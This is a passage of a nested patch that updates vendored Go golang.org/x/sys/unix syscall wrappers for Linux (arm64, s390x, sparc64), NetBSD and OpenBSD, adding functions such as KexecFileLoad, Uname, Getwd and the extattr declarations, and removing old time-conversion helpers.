-+ return utimensat(AT_FDCWD, path, nil, 0)
-+ }
-+
-+ ts := []Timespec{
-+ NsecToTimespec(TimevalToNsec(tv[0])),
-+ NsecToTimespec(TimevalToNsec(tv[1])),
-+ }
-+ return utimensat(AT_FDCWD, path, (*[2]Timespec)(unsafe.Pointer(&ts[0])), 0)
-+}
-+
- func Pipe(p []int) (err error) {
- if len(p) != 2 {
- return EINVAL
-@@ -141,6 +179,10 @@ func (msghdr *Msghdr) SetControllen(length int) {
- msghdr.Controllen = uint64(length)
- }
-
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = uint64(length)
-+}
-+
- func (cmsg *Cmsghdr) SetLen(length int) {
- cmsg.Len = uint64(length)
- }
-@@ -153,30 +195,11 @@ func Dup2(oldfd int, newfd int) (err error) {
- return Dup3(oldfd, newfd, 0)
- }
-
--func Pause() (err error) {
-- _, _, e1 := Syscall6(SYS_PPOLL, 0, 0, 0, 0, 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
-+func Pause() error {
-+ _, err := ppoll(nil, 0, nil, nil)
-+ return err
- }
-
--// TODO(dfc): constants that should be in zsysnum_linux_arm64.go, remove
--// these when the deprecated syscalls that the syscall package relies on
--// are removed.
--const (
-- SYS_GETPGRP = 1060
-- SYS_UTIMES = 1037
-- SYS_FUTIMESAT = 1066
-- SYS_PAUSE = 1061
-- SYS_USTAT = 1070
-- SYS_UTIME = 1063
-- SYS_LCHOWN = 1032
-- SYS_TIME = 1062
-- SYS_EPOLL_CREATE = 1042
-- SYS_EPOLL_WAIT = 1069
--)
--
- func Poll(fds []PollFd, timeout int) (n int, err error) {
- var ts *Timespec
- if timeout >= 0 {
-@@ -188,3 +211,20 @@ func Poll(fds []PollFd, timeout int) (n int, err error) {
- }
- return ppoll(&fds[0], len(fds), ts, nil)
- }
-+
-+func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) {
-+ return Renameat2(olddirfd, oldpath, newdirfd, newpath, 0)
-+}
-+
-+//sys kexecFileLoad(kernelFd int, initrdFd int, cmdlineLen int, cmdline string, flags int) (err error)
-+
-+func KexecFileLoad(kernelFd int, initrdFd int, cmdline string, flags int) error {
-+ cmdlineLen := len(cmdline)
-+ if cmdlineLen > 0 {
-+ // Account for the additional NULL byte added by
-+ // BytePtrFromString in kexecFileLoad. The kexec_file_load
-+ // syscall expects a NULL-terminated string.
-+ cmdlineLen++
-+ }
-+ return kexecFileLoad(kernelFd, initrdFd, cmdlineLen, cmdline, flags)
-+}
-diff --git a/vendor/golang.org/x/sys/unix/syscall_linux_s390x.go b/vendor/golang.org/x/sys/unix/syscall_linux_s390x.go
-index 1708a4bb..533e9305 100644
---- a/vendor/golang.org/x/sys/unix/syscall_linux_s390x.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_linux_s390x.go
-@@ -11,10 +11,12 @@ import (
- )
-
- //sys Dup2(oldfd int, newfd int) (err error)
-+//sysnb EpollCreate(size int) (fd int, err error)
- //sys EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error)
- //sys Fadvise(fd int, offset int64, length int64, advice int) (err error) = SYS_FADVISE64
- //sys Fchown(fd int, uid int, gid int) (err error)
- //sys Fstat(fd int, stat *Stat_t) (err error)
-+//sys Fstatat(dirfd int, path string, stat *Stat_t, flags int) (err error) = SYS_NEWFSTATAT
- //sys Fstatfs(fd int, buf *Statfs_t) (err error)
- //sys Ftruncate(fd int, length int64) (err error)
- //sysnb Getegid() (egid int)
-@@ -28,11 +30,12 @@ import (
- //sys Pause() (err error)
- //sys Pread(fd int, p []byte, offset int64) (n int, err error) = SYS_PREAD64
- //sys Pwrite(fd int, p []byte, offset int64) (n int, err error) = SYS_PWRITE64
-+//sys Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error)
- //sys Seek(fd int, offset int64, whence int) (off int64, err error) = SYS_LSEEK
- //sys Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error)
- //sys sendfile(outfd int, infd int, offset *int64, count int) (written int, err error)
--//sys Setfsgid(gid int) (err error)
--//sys Setfsuid(uid int) (err error)
-+//sys setfsgid(gid int) (prev int, err error)
-+//sys setfsuid(uid int) (prev int, err error)
- //sysnb Setregid(rgid int, egid int) (err error)
- //sysnb Setresgid(rgid int, egid int, sgid int) (err error)
- //sysnb Setresuid(ruid int, euid int, suid int) (err error)
-@@ -43,11 +46,11 @@ import (
- //sys Statfs(path string, buf *Statfs_t) (err error)
- //sys SyncFileRange(fd int, off int64, n int64, flags int) (err error)
- //sys Truncate(path string, length int64) (err error)
-+//sys Ustat(dev int, ubuf *Ustat_t) (err error)
- //sysnb getgroups(n int, list *_Gid_t) (nn int, err error)
- //sysnb setgroups(n int, list *_Gid_t) (err error)
-
--func Getpagesize() int { return 4096 }
--
-+//sys futimesat(dirfd int, path string, times *[2]Timeval) (err error)
- //sysnb Gettimeofday(tv *Timeval) (err error)
-
- func Time(t *Time_t) (tt Time_t, err error) {
-@@ -63,20 +66,14 @@ func Time(t *Time_t) (tt Time_t, err error) {
- }
-
- //sys Utime(path string, buf *Utimbuf) (err error)
-+//sys utimes(path string, times *[2]Timeval) (err error)
-
--func TimespecToNsec(ts Timespec) int64 { return int64(ts.Sec)*1e9 + int64(ts.Nsec) }
--
--func NsecToTimespec(nsec int64) (ts Timespec) {
-- ts.Sec = nsec / 1e9
-- ts.Nsec = nsec % 1e9
-- return
-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: sec, Nsec: nsec}
- }
-
--func NsecToTimeval(nsec int64) (tv Timeval) {
-- nsec += 999 // round up to microsecond
-- tv.Sec = nsec / 1e9
-- tv.Usec = nsec % 1e9 / 1e3
-- return
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: sec, Usec: usec}
- }
-
- //sysnb pipe2(p *[2]_C_int, flags int) (err error)
-@@ -123,6 +120,10 @@ func (msghdr *Msghdr) SetControllen(length int) {
- msghdr.Controllen = uint64(length)
- }
-
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = uint64(length)
-+}
-+
- func (cmsg *Cmsghdr) SetLen(length int) {
- cmsg.Len = uint64(length)
- }
-@@ -326,3 +327,16 @@ func Poll(fds []PollFd, timeout int) (n int, err error) {
- }
- return poll(&fds[0], len(fds), timeout)
- }
-+
-+//sys kexecFileLoad(kernelFd int, initrdFd int, cmdlineLen int, cmdline string, flags int) (err error)
-+
-+func KexecFileLoad(kernelFd int, initrdFd int, cmdline string, flags int) error {
-+ cmdlineLen := len(cmdline)
-+ if cmdlineLen > 0 {
-+ // Account for the additional NULL byte added by
-+ // BytePtrFromString in kexecFileLoad. The kexec_file_load
-+ // syscall expects a NULL-terminated string.
-+ cmdlineLen++
-+ }
-+ return kexecFileLoad(kernelFd, initrdFd, cmdlineLen, cmdline, flags)
-+}
-diff --git a/vendor/golang.org/x/sys/unix/syscall_linux_sparc64.go b/vendor/golang.org/x/sys/unix/syscall_linux_sparc64.go
-index 20b7454d..d890a227 100644
---- a/vendor/golang.org/x/sys/unix/syscall_linux_sparc64.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_linux_sparc64.go
-@@ -6,15 +6,12 @@
-
- package unix
-
--import (
-- "sync/atomic"
-- "syscall"
--)
--
- //sys EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error)
-+//sys Fadvise(fd int, offset int64, length int64, advice int) (err error) = SYS_FADVISE64
- //sys Dup2(oldfd int, newfd int) (err error)
- //sys Fchown(fd int, uid int, gid int) (err error)
- //sys Fstat(fd int, stat *Stat_t) (err error)
-+//sys Fstatat(dirfd int, path string, stat *Stat_t, flags int) (err error) = SYS_FSTATAT64
- //sys Fstatfs(fd int, buf *Statfs_t) (err error)
- //sys Ftruncate(fd int, length int64) (err error)
- //sysnb Getegid() (egid int)
-@@ -29,11 +26,12 @@ import (
- //sys Pause() (err error)
- //sys Pread(fd int, p []byte, offset int64) (n int, err error) = SYS_PREAD64
- //sys Pwrite(fd int, p []byte, offset int64) (n int, err error) = SYS_PWRITE64
-+//sys Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error)
- //sys Seek(fd int, offset int64, whence int) (off int64, err error) = SYS_LSEEK
- //sys Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error)
- //sys sendfile(outfd int, infd int, offset *int64, count int) (written int, err error)
--//sys Setfsgid(gid int) (err error)
--//sys Setfsuid(uid int) (err error)
-+//sys setfsgid(gid int) (prev int, err error)
-+//sys setfsuid(uid int) (prev int, err error)
- //sysnb Setregid(rgid int, egid int) (err error)
- //sysnb Setresgid(rgid int, egid int, sgid int) (err error)
- //sysnb Setresuid(ruid int, euid int, suid int) (err error)
-@@ -63,21 +61,6 @@ import (
- //sys sendmsg(s int, msg *Msghdr, flags int) (n int, err error)
- //sys mmap(addr uintptr, length uintptr, prot int, flags int, fd int, offset int64) (xaddr uintptr, err error)
-
--func sysconf(name int) (n int64, err syscall.Errno)
--
--// pageSize caches the value of Getpagesize, since it can't change
--// once the system is booted.
--var pageSize int64 // accessed atomically
--
--func Getpagesize() int {
-- n := atomic.LoadInt64(&pageSize)
-- if n == 0 {
-- n, _ = sysconf(_SC_PAGESIZE)
-- atomic.StoreInt64(&pageSize, n)
-- }
-- return int(n)
--}
--
- func Ioperm(from int, num int, on int) (err error) {
- return ENOSYS
- }
-@@ -86,6 +69,7 @@ func Iopl(level int) (err error) {
- return ENOSYS
- }
-
-+//sys futimesat(dirfd int, path string, times *[2]Timeval) (err error)
- //sysnb Gettimeofday(tv *Timeval) (err error)
-
- func Time(t *Time_t) (tt Time_t, err error) {
-@@ -101,20 +85,14 @@ func Time(t *Time_t) (tt Time_t, err error) {
- }
-
- //sys Utime(path string, buf *Utimbuf) (err error)
-+//sys utimes(path string, times *[2]Timeval) (err error)
-
--func TimespecToNsec(ts Timespec) int64 { return int64(ts.Sec)*1e9 + int64(ts.Nsec) }
--
--func NsecToTimespec(nsec int64) (ts Timespec) {
-- ts.Sec = nsec / 1e9
-- ts.Nsec = nsec % 1e9
-- return
-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: sec, Nsec: nsec}
- }
-
--func NsecToTimeval(nsec int64) (tv Timeval) {
-- nsec += 999 // round up to microsecond
-- tv.Sec = nsec / 1e9
-- tv.Usec = int32(nsec % 1e9 / 1e3)
-- return
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: sec, Usec: int32(usec)}
- }
-
- func (r *PtraceRegs) PC() uint64 { return r.Tpc }
-@@ -129,6 +107,10 @@ func (msghdr *Msghdr) SetControllen(length int) {
- msghdr.Controllen = uint64(length)
- }
-
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = uint64(length)
-+}
-+
- func (cmsg *Cmsghdr) SetLen(length int) {
- cmsg.Len = uint64(length)
- }
-diff --git a/vendor/golang.org/x/sys/unix/syscall_netbsd.go b/vendor/golang.org/x/sys/unix/syscall_netbsd.go
-index e1296684..45b50a61 100644
---- a/vendor/golang.org/x/sys/unix/syscall_netbsd.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_netbsd.go
-@@ -13,10 +13,12 @@
- package unix
-
- import (
-+ "runtime"
- "syscall"
- "unsafe"
- )
-
-+// SockaddrDatalink implements the Sockaddr interface for AF_LINK type sockets.
- type SockaddrDatalink struct {
- Len uint8
- Family uint8
-@@ -55,7 +57,6 @@ func sysctlNodes(mib []_C_int) (nodes []Sysctlnode, err error) {
- }
-
- func nametomib(name string) (mib []_C_int, err error) {
--
- // Split name into components.
- var parts []string
- last := 0
-@@ -114,9 +115,47 @@ func Pipe(p []int) (err error) {
- return
- }
-
--//sys getdents(fd int, buf []byte) (n int, err error)
-+//sys Getdents(fd int, buf []byte) (n int, err error)
- func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
-- return getdents(fd, buf)
-+ n, err = Getdents(fd, buf)
-+ if err != nil || basep == nil {
-+ return
-+ }
-+
-+ var off int64
-+ off, err = Seek(fd, 0, 1 /* SEEK_CUR */)
-+ if err != nil {
-+ *basep = ^uintptr(0)
-+ return
-+ }
-+ *basep = uintptr(off)
-+ if unsafe.Sizeof(*basep) == 8 {
-+ return
-+ }
-+ if off>>32 != 0 {
-+ // We can't stuff the offset back into a uintptr, so any
-+ // future calls would be suspect. Generate an error.
-+ // EIO is allowed by getdirentries.
-+ err = EIO
-+ }
-+ return
-+}
-+
-+const ImplementsGetwd = true
-+
-+//sys Getcwd(buf []byte) (n int, err error) = SYS___GETCWD
-+
-+func Getwd() (string, error) {
-+ var buf [PathMax]byte
-+ _, err := Getcwd(buf[0:])
-+ if err != nil {
-+ return "", err
-+ }
-+ n := clen(buf[:])
-+ if n < 1 {
-+ return "", EINVAL
-+ }
-+ return string(buf[:n]), nil
- }
-
- // TODO
-@@ -124,6 +163,83 @@ func sendfile(outfd int, infd int, offset *int64, count int) (written int, err e
- return -1, ENOSYS
- }
-
-+func setattrlistTimes(path string, times []Timespec, flags int) error {
-+ // used on Darwin for UtimesNano
-+ return ENOSYS
-+}
-+
-+//sys ioctl(fd int, req uint, arg uintptr) (err error)
-+
-+//sys sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) = SYS___SYSCTL
-+
-+func IoctlGetPtmget(fd int, req uint) (*Ptmget, error) {
-+ var value Ptmget
-+ err := ioctl(fd, req, uintptr(unsafe.Pointer(&value)))
-+ runtime.KeepAlive(value)
-+ return &value, err
-+}
-+
-+func Uname(uname *Utsname) error {
-+ mib := []_C_int{CTL_KERN, KERN_OSTYPE}
-+ n := unsafe.Sizeof(uname.Sysname)
-+ if err := sysctl(mib, &uname.Sysname[0], &n, nil, 0); err != nil {
-+ return err
-+ }
-+
-+ mib = []_C_int{CTL_KERN, KERN_HOSTNAME}
-+ n = unsafe.Sizeof(uname.Nodename)
-+ if err := sysctl(mib, &uname.Nodename[0], &n, nil, 0); err != nil {
-+ return err
-+ }
-+
-+ mib = []_C_int{CTL_KERN, KERN_OSRELEASE}
-+ n = unsafe.Sizeof(uname.Release)
-+ if err := sysctl(mib, &uname.Release[0], &n, nil, 0); err != nil {
-+ return err
-+ }
-+
-+ mib = []_C_int{CTL_KERN, KERN_VERSION}
-+ n = unsafe.Sizeof(uname.Version)
-+ if err := sysctl(mib, &uname.Version[0], &n, nil, 0); err != nil {
-+ return err
-+ }
-+
-+ // The version might have newlines or tabs in it, convert them to
-+ // spaces.
-+ for i, b := range uname.Version {
-+ if b == '\n' || b == '\t' {
-+ if i == len(uname.Version)-1 {
-+ uname.Version[i] = 0
-+ } else {
-+ uname.Version[i] = ' '
-+ }
-+ }
-+ }
-+
-+ mib = []_C_int{CTL_HW, HW_MACHINE}
-+ n = unsafe.Sizeof(uname.Machine)
-+ if err := sysctl(mib, &uname.Machine[0], &n, nil, 0); err != nil {
-+ return err
-+ }
-+
-+ return nil
-+}
-+
-+func Sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) {
-+ if raceenabled {
-+ raceReleaseMerge(unsafe.Pointer(&ioSync))
-+ }
-+ return sendfile(outfd, infd, offset, count)
-+}
-+
-+func Fstatvfs(fd int, buf *Statvfs_t) (err error) {
-+ return Fstatvfs1(fd, buf, ST_WAIT)
-+}
-+
-+func Statvfs(path string, buf *Statvfs_t) (err error) {
-+ return Statvfs1(path, buf, ST_WAIT)
-+}
-+
- /*
- * Exposed directly
- */
-@@ -137,14 +253,33 @@ func sendfile(outfd int, infd int, offset *int64, count int) (written int, err e
- //sys Close(fd int) (err error)
- //sys Dup(fd int) (nfd int, err error)
- //sys Dup2(from int, to int) (err error)
-+//sys Dup3(from int, to int, flags int) (err error)
- //sys Exit(code int)
-+//sys ExtattrGetFd(fd int, attrnamespace int, attrname string, data uintptr, nbytes int) (ret int, err error)
-+//sys ExtattrSetFd(fd int, attrnamespace int, attrname string, data uintptr, nbytes int) (ret int, err error)
-+//sys ExtattrDeleteFd(fd int, attrnamespace int, attrname string) (err error)
-+//sys ExtattrListFd(fd int, attrnamespace int, data uintptr, nbytes int) (ret int, err error)
-+//sys ExtattrGetFile(file string, attrnamespace int, attrname string, data uintptr, nbytes int) (ret int, err error)
-+//sys ExtattrSetFile(file string, attrnamespace int, attrname string, data uintptr, nbytes int) (ret int, err error)
-+//sys ExtattrDeleteFile(file string, attrnamespace int, attrname string) (err error)
-+//sys ExtattrListFile(file string, attrnamespace int, data uintptr, nbytes int) (ret int, err error)
-+//sys ExtattrGetLink(link string, attrnamespace int, attrname string, data uintptr, nbytes int) (ret int, err error)
-+//sys ExtattrSetLink(link string, attrnamespace int, attrname string, data uintptr, nbytes int) (ret int, err error)
-+//sys ExtattrDeleteLink(link string, attrnamespace int, attrname string) (err error)
-+//sys ExtattrListLink(link string, attrnamespace int, data uintptr, nbytes int) (ret int, err error)
-+//sys Faccessat(dirfd int, path string, mode uint32, flags int) (err error)
-+//sys Fadvise(fd int, offset int64, length int64, advice int) (err error) = SYS_POSIX_FADVISE
- //sys Fchdir(fd int) (err error)
- //sys Fchflags(fd int, flags int) (err error)
- //sys Fchmod(fd int, mode uint32) (err error)
-+//sys Fchmodat(dirfd int, path string, mode uint32, flags int) (err error)
- //sys Fchown(fd int, uid int, gid int) (err error)
-+//sys Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error)
- //sys Flock(fd int, how int) (err error)
- //sys Fpathconf(fd int, name int) (val int, err error)
- //sys Fstat(fd int, stat *Stat_t) (err error)
-+//sys Fstatat(fd int, path string, stat *Stat_t, flags int) (err error)
-+//sys Fstatvfs1(fd int, buf *Statvfs_t, flags int) (err error) = SYS_FSTATVFS1
- //sys Fsync(fd int) (err error)
- //sys Ftruncate(fd int, length int64) (err error)
- //sysnb Getegid() (egid int)
-@@ -165,23 +300,30 @@ func sendfile(outfd int, infd int, offset *int64, count int) (written int, err e
- //sys Kqueue() (fd int, err error)
- //sys Lchown(path string, uid int, gid int) (err error)
- //sys Link(path string, link string) (err error)
-+//sys Linkat(pathfd int, path string, linkfd int, link string, flags int) (err error)
- //sys Listen(s int, backlog int) (err error)
- //sys Lstat(path string, stat *Stat_t) (err error)
- //sys Mkdir(path string, mode uint32) (err error)
-+//sys Mkdirat(dirfd int, path string, mode uint32) (err error)
- //sys Mkfifo(path string, mode uint32) (err error)
-+//sys Mkfifoat(dirfd int, path string, mode uint32) (err error)
- //sys Mknod(path string, mode uint32, dev int) (err error)
-+//sys Mknodat(dirfd int, path string, mode uint32, dev int) (err error)
- //sys Nanosleep(time *Timespec, leftover *Timespec) (err error)
- //sys Open(path string, mode int, perm uint32) (fd int, err error)
-+//sys Openat(dirfd int, path string, mode int, perm uint32) (fd int, err error)
- //sys Pathconf(path string, name int) (val int, err error)
- //sys Pread(fd int, p []byte, offset int64) (n int, err error)
- //sys Pwrite(fd int, p []byte, offset int64) (n int, err error)
- //sys read(fd int, p []byte) (n int, err error)
- //sys Readlink(path string, buf []byte) (n int, err error)
-+//sys Readlinkat(dirfd int, path string, buf []byte) (n int, err error)
- //sys Rename(from string, to string) (err error)
-+//sys Renameat(fromfd int, from string, tofd int, to string) (err error)
- //sys Revoke(path string) (err error)
- //sys Rmdir(path string) (err error)
- //sys Seek(fd int, offset int64, whence int) (newoffset int64, err error) = SYS_LSEEK
--//sys Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error)
-+//sys Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error)
- //sysnb Setegid(egid int) (err error)
- //sysnb Seteuid(euid int) (err error)
- //sysnb Setgid(gid int) (err error)
-@@ -194,11 +336,14 @@ func sendfile(outfd int, infd int, offset *int64, count int) (written int, err e
- //sysnb Settimeofday(tp *Timeval) (err error)
- //sysnb Setuid(uid int) (err error)
- //sys Stat(path string, stat *Stat_t) (err error)
-+//sys Statvfs1(path string, buf *Statvfs_t, flags int) (err error) = SYS_STATVFS1
- //sys Symlink(path string, link string) (err error)
-+//sys Symlinkat(oldpath string, newdirfd int, newpath string) (err error)
- //sys Sync() (err error)
- //sys Truncate(path string, length int64) (err error)
- //sys Umask(newmask int) (oldmask int)
- //sys Unlink(path string) (err error)
-+//sys Unlinkat(dirfd int, path string, flags int) (err error)
- //sys Unmount(path string, flags int) (err error)
- //sys write(fd int, p []byte) (n int, err error)
- //sys mmap(addr uintptr, length uintptr, prot int, flag int, fd int, pos int64) (ret uintptr, err error)
-@@ -225,7 +370,6 @@ func sendfile(outfd int, infd int, offset *int64, count int) (written int, err e
- // __msync13
- // __ntp_gettime30
- // __posix_chown
--// __posix_fadvise50
- // __posix_fchown
- // __posix_lchown
- // __posix_rename
-@@ -384,7 +528,6 @@ func sendfile(outfd int, infd int, offset *int64, count int) (written int, err e
- // getitimer
- // getvfsstat
- // getxattr
--// ioctl
- // ktrace
- // lchflags
- // lchmod
-@@ -422,7 +565,6 @@ func sendfile(outfd int, infd int, offset *int64, count int) (written int, err e
- // ntp_adjtime
- // pmc_control
- // pmc_get_info
--// poll
- // pollts
- // preadv
- // profil
-diff --git a/vendor/golang.org/x/sys/unix/syscall_netbsd_386.go b/vendor/golang.org/x/sys/unix/syscall_netbsd_386.go
-index afaca098..24da8b52 100644
---- a/vendor/golang.org/x/sys/unix/syscall_netbsd_386.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_netbsd_386.go
-@@ -6,21 +6,12 @@
-
- package unix
-
--func Getpagesize() int { return 4096 }
--
--func TimespecToNsec(ts Timespec) int64 { return int64(ts.Sec)*1e9 + int64(ts.Nsec) }
--
--func NsecToTimespec(nsec int64) (ts Timespec) {
-- ts.Sec = int64(nsec / 1e9)
-- ts.Nsec = int32(nsec % 1e9)
-- return
-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: sec, Nsec: int32(nsec)}
- }
-
--func NsecToTimeval(nsec int64) (tv Timeval) {
-- nsec += 999 // round up to microsecond
-- tv.Usec = int32(nsec % 1e9 / 1e3)
-- tv.Sec = int64(nsec / 1e9)
-- return
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: sec, Usec: int32(usec)}
- }
-
- func SetKevent(k *Kevent_t, fd, mode, flags int) {
-@@ -37,6 +28,10 @@ func (msghdr *Msghdr) SetControllen(length int) {
- msghdr.Controllen = uint32(length)
- }
-
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = int32(length)
-+}
-+
- func (cmsg *Cmsghdr) SetLen(length int) {
- cmsg.Len = uint32(length)
- }
-diff --git a/vendor/golang.org/x/sys/unix/syscall_netbsd_amd64.go b/vendor/golang.org/x/sys/unix/syscall_netbsd_amd64.go
-index a6ff04ce..25a0ac82 100644
---- a/vendor/golang.org/x/sys/unix/syscall_netbsd_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_netbsd_amd64.go
-@@ -6,21 +6,12 @@
-
- package unix
-
--func Getpagesize() int { return 4096 }
--
--func TimespecToNsec(ts Timespec) int64 { return int64(ts.Sec)*1e9 + int64(ts.Nsec) }
--
--func NsecToTimespec(nsec int64) (ts Timespec) {
-- ts.Sec = int64(nsec / 1e9)
-- ts.Nsec = int64(nsec % 1e9)
-- return
-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: sec, Nsec: nsec}
- }
-
--func NsecToTimeval(nsec int64) (tv Timeval) {
-- nsec += 999 // round up to microsecond
-- tv.Usec = int32(nsec % 1e9 / 1e3)
-- tv.Sec = int64(nsec / 1e9)
-- return
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: sec, Usec: int32(usec)}
- }
-
- func SetKevent(k *Kevent_t, fd, mode, flags int) {
-@@ -37,6 +28,10 @@ func (msghdr *Msghdr) SetControllen(length int) {
- msghdr.Controllen = uint32(length)
- }
-
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = int32(length)
-+}
-+
- func (cmsg *Cmsghdr) SetLen(length int) {
- cmsg.Len = uint32(length)
- }
-diff --git a/vendor/golang.org/x/sys/unix/syscall_netbsd_arm.go b/vendor/golang.org/x/sys/unix/syscall_netbsd_arm.go
-index 68a6969b..21591ecd 100644
---- a/vendor/golang.org/x/sys/unix/syscall_netbsd_arm.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_netbsd_arm.go
-@@ -6,21 +6,12 @@
-
- package unix
-
--func Getpagesize() int { return 4096 }
--
--func TimespecToNsec(ts Timespec) int64 { return int64(ts.Sec)*1e9 + int64(ts.Nsec) }
--
--func NsecToTimespec(nsec int64) (ts Timespec) {
-- ts.Sec = int64(nsec / 1e9)
-- ts.Nsec = int32(nsec % 1e9)
-- return
-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: sec, Nsec: int32(nsec)}
- }
-
--func NsecToTimeval(nsec int64) (tv Timeval) {
-- nsec += 999 // round up to microsecond
-- tv.Usec = int32(nsec % 1e9 / 1e3)
-- tv.Sec = int64(nsec / 1e9)
-- return
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: sec, Usec: int32(usec)}
- }
-
- func SetKevent(k *Kevent_t, fd, mode, flags int) {
-@@ -37,6 +28,10 @@ func (msghdr *Msghdr) SetControllen(length int) {
- msghdr.Controllen = uint32(length)
- }
-
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = int32(length)
-+}
-+
- func (cmsg *Cmsghdr) SetLen(length int) {
- cmsg.Len = uint32(length)
- }
-diff --git a/vendor/golang.org/x/sys/unix/syscall_netbsd_amd64.go b/vendor/golang.org/x/sys/unix/syscall_netbsd_arm64.go
-similarity index 50%
-copy from vendor/golang.org/x/sys/unix/syscall_netbsd_amd64.go
-copy to vendor/golang.org/x/sys/unix/syscall_netbsd_arm64.go
-index a6ff04ce..80474963 100644
---- a/vendor/golang.org/x/sys/unix/syscall_netbsd_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_netbsd_arm64.go
-@@ -1,26 +1,17 @@
--// Copyright 2009 The Go Authors. All rights reserved.
-+// Copyright 2019 The Go Authors. All rights reserved.
- // Use of this source code is governed by a BSD-style
- // license that can be found in the LICENSE file.
-
--// +build amd64,netbsd
-+// +build arm64,netbsd
-
- package unix
-
--func Getpagesize() int { return 4096 }
--
--func TimespecToNsec(ts Timespec) int64 { return int64(ts.Sec)*1e9 + int64(ts.Nsec) }
--
--func NsecToTimespec(nsec int64) (ts Timespec) {
-- ts.Sec = int64(nsec / 1e9)
-- ts.Nsec = int64(nsec % 1e9)
-- return
-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: sec, Nsec: nsec}
- }
-
--func NsecToTimeval(nsec int64) (tv Timeval) {
-- nsec += 999 // round up to microsecond
-- tv.Usec = int32(nsec % 1e9 / 1e3)
-- tv.Sec = int64(nsec / 1e9)
-- return
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: sec, Usec: int32(usec)}
- }
-
- func SetKevent(k *Kevent_t, fd, mode, flags int) {
-@@ -37,6 +28,10 @@ func (msghdr *Msghdr) SetControllen(length int) {
- msghdr.Controllen = uint32(length)
- }
-
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = int32(length)
-+}
-+
- func (cmsg *Cmsghdr) SetLen(length int) {
- cmsg.Len = uint32(length)
- }
-diff --git a/vendor/golang.org/x/sys/unix/syscall_no_getwd.go b/vendor/golang.org/x/sys/unix/syscall_no_getwd.go
-deleted file mode 100644
-index 530792ea..00000000
---- a/vendor/golang.org/x/sys/unix/syscall_no_getwd.go
-+++ /dev/null
-@@ -1,11 +0,0 @@
--// Copyright 2013 The Go Authors. All rights reserved.
--// Use of this source code is governed by a BSD-style
--// license that can be found in the LICENSE file.
--
--// +build dragonfly freebsd netbsd openbsd
--
--package unix
--
--const ImplementsGetwd = false
--
--func Getwd() (string, error) { return "", ENOTSUP }
-diff --git a/vendor/golang.org/x/sys/unix/syscall_openbsd.go b/vendor/golang.org/x/sys/unix/syscall_openbsd.go
-index 408e6308..a266e92a 100644
---- a/vendor/golang.org/x/sys/unix/syscall_openbsd.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_openbsd.go
-@@ -13,10 +13,12 @@
- package unix
-
- import (
-+ "sort"
- "syscall"
- "unsafe"
- )
-
-+// SockaddrDatalink implements the Sockaddr interface for AF_LINK type sockets.
- type SockaddrDatalink struct {
- Len uint8
- Family uint8
-@@ -32,23 +34,11 @@ type SockaddrDatalink struct {
- func Syscall9(trap, a1, a2, a3, a4, a5, a6, a7, a8, a9 uintptr) (r1, r2 uintptr, err syscall.Errno)
-
- func nametomib(name string) (mib []_C_int, err error) {
--
-- // Perform lookup via a binary search
-- left := 0
-- right := len(sysctlMib) - 1
-- for {
-- idx := left + (right-left)/2
-- switch {
-- case name == sysctlMib[idx].ctlname:
-- return sysctlMib[idx].ctloid, nil
-- case name > sysctlMib[idx].ctlname:
-- left = idx + 1
-- default:
-- right = idx - 1
-- }
-- if left > right {
-- break
-- }
-+ i := sort.Search(len(sysctlMib), func(i int) bool {
-+ return sysctlMib[i].ctlname >= name
-+ })
-+ if i < len(sysctlMib) && sysctlMib[i].ctlname == name {
-+ return sysctlMib[i].ctloid, nil
- }
- return nil, EINVAL
- }
-@@ -65,21 +55,87 @@ func direntNamlen(buf []byte) (uint64, bool) {
- return readInt(buf, unsafe.Offsetof(Dirent{}.Namlen), unsafe.Sizeof(Dirent{}.Namlen))
- }
-
--//sysnb pipe(p *[2]_C_int) (err error)
-+func SysctlUvmexp(name string) (*Uvmexp, error) {
-+ mib, err := sysctlmib(name)
-+ if err != nil {
-+ return nil, err
-+ }
-+
